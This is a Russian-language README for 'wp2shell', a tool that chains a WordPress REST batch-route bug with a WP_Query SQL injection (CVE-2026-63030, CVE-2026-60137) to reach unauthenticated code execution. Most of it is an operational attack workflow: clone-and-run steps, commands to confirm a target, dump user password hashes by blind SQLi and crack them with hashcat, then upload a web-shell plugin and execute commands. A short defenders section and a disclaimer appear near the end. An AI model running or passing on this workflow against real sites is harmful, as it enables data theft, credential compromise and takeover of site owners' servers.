
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
Неаутентифицированное удаленное выполнение кода для WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)
Эксплойт wp2shell для критической цепочки уязвимостей в ядре WordPress. Он объединяет ошибку путаницы пакетных маршрутов REST API с SQL-инъекцией в WP_Query для достижения неаутентифицированного удаленного выполнения кода на уязвимых установках WordPress.
| Деталь | Информация |
|---|---|
| CVE | CVE-2026-63030 (путаница пакетных маршрутов REST) + CVE-2026-60137 (SQLi author__not_in) |
| Затронутые версии | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Исправлено в | 6.9.5, 7.0.2 |
| Требуется аутентификация | Нет — неаутентифицированный |
| CVSS | Критическая (цепочка RCE) |
| Обнаружено | Adam Kues (Assetnote / Searchlight Cyber) |
| Зависимости | Python 3.8+ — только стандартная библиотека |
Эксплойт объединяет две ошибки в ядре WordPress:
CVE-2026-60137 — SQL-инъекция – Когда author__not_in передается как строка вместо массива, WordPress пропускает проверку is_array() и подставляет необработанное значение в SQL-условие NOT IN (...).
CVE-2026-63030 — Путаница пакетных маршрутов – Конечная точка /wp-json/batch/v1 создает параллельные массивы $matches и $validation. Поврежденный подзапрос добавляется в $validation, но не в $matches, что вызывает сдвиг индекса на +1. Подзапрос i отправляется с обработчиком подзапроса i+1.
Вместе: Запрос POST /wp/v2/posts, содержащий внутренний запрос GET /wp/v2/users со строкой author_exclude, обходит как белый список методов, так и санитацию ввода. Строка попадает в WP_Query как author__not_in и вставляется в SQL — предоставляя неаутентифицированную слепую SQL-инъекцию.
После этого инструмент может:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Всё. Сторонние пакеты не требуются.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Запускает интерактивное меню со всеми функциями, доступными через пронумерованные опции.
check — Подтверждение уязвимости (безопасно)Выполняет зонд с временной задержкой для подтверждения эксплуатабельности. Не читает данные и ничего не меняет.
./wp2shell.py http://target.com check
read — Извлечение данных (слепая SQL-инъекция)Извлекает информацию из базы данных с помощью временной слепой SQL-инъекции.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Удаленное выполнение кодаТребуются действительные учетные данные администратора. SQL-инъекция может восстановить хеш пароля, но вы должны предоставить восстановленный пароль в открытом виде.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Ветвь | Затронутые | Исправлено в |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (только SQLi, без RCE) | 6.8.6 |
Версии до 6.9.0 не затронуты полной цепочкой RCE.
Для защитников:
POST /wp-json/batch/v1 с вложенными телами requests404 на пакетном маршруте не всегда означает 'исправлено' — это также может означать, что WAF/CDN блокирует анонимный доступ к REST API.Этот инструмент предназначен только для образовательных и авторизованных целей тестирования безопасности.
Для получения более подробной информации об уязвимости см. блог исследований Searchlight Cyber.
| Возможность | Описание |
|---|
| Проверка уязвимости | Безопасный зонд с временной задержкой — не читает данные, ничего не меняет |
| Извлечение данных | Слепая SQL-инъекция с оптимизацией бинарного поиска для эффективного извлечения |
| Дамп хешей пользователей | Извлечение хешей user_login и user_pass из wp_users |
| Удаленное выполнение кода | Аутентификация как администратор, загрузка плагина-веб-шелла, выполнение команд |
| Интерактивная оболочка | Постоянная сессия выполнения команд |
| Цветной вывод | Четкая визуальная обратная связь результатов сканирования |
| Нет зависимостей | Использует только стандартную библиотеку Python |
| Параметр | Описание |
|---|
--users | Извлечение user_login и user_pass из wp_users |
--database | Извлечение имени текущей базы данных |
--version | Извлечение версии MySQL |
--query "SQL" | Выполнение пользовательского SQL-запроса (слепое извлечение) |
--user USER | Имя пользователя администратора для RCE |
--password PASS | Пароль администратора для RCE (открытый текст, восстановлен через SQLi) |
--cmd CMD | Команда для выполнения через веб-шелл |